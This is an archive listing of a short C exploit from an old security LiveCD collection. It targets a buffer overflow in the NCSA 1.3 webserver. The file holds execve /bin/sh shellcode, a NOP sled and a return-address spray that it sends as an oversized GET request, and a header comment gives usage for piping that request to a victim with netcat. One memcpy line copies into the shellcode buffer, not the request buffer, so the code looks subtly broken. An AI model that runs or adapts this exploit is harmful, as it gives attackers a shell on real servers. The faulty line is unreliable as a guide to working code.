home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / ncsa / ncsa1-3.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  960b  |  49 lines

  1. /*     
  2. ; NCSA Webserver Buffer Overflow in 1.3 
  3. ;     By Xtremist (xtremist@2xs.co.il) for [r00tabega.security.labs]
  4. ; Tested on Slackware 4.0 with NCSA 1.3  
  5. ;     usage:
  6. ;     $ (ncsaexpl 0; cat) | nc victim 80
  7. ;                   
  8. ;                    OFFSET usually from -1000 to 1000 
  9. ;   greets all people i know :)
  10. ;*/
  11.  
  12. #include <stdio.h>
  13.  
  14. unsigned char shell[] = /*  alphae1's shellcode for execve */
  15.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  16.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  17.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  18.  
  19.  
  20. char user[264];
  21.  
  22. long get_esp(void) {
  23.     __asm__("movl %esp,%eax");
  24. }
  25.  
  26. int main(int argc,char **argv){ 
  27.  
  28. int i; int offset=160;
  29. long ret;
  30. if(argc>1) {
  31.   offset=atoi(argv[1]);
  32. }
  33. ret=(get_esp()-offset);
  34.  
  35. for(i=1;i<264;i+=4){
  36. *(long *)&user[i]=ret;
  37. }
  38.  
  39. for(i=0;i<(260-strlen(shell));i++) {
  40. *(user+i)=0x90; /*NOP*/
  41. }
  42.  
  43. memcpy(shell+i,shell,strlen(shell));
  44.  
  45. printf("GET %s\n", user);
  46.  
  47. }
  48.  
  49.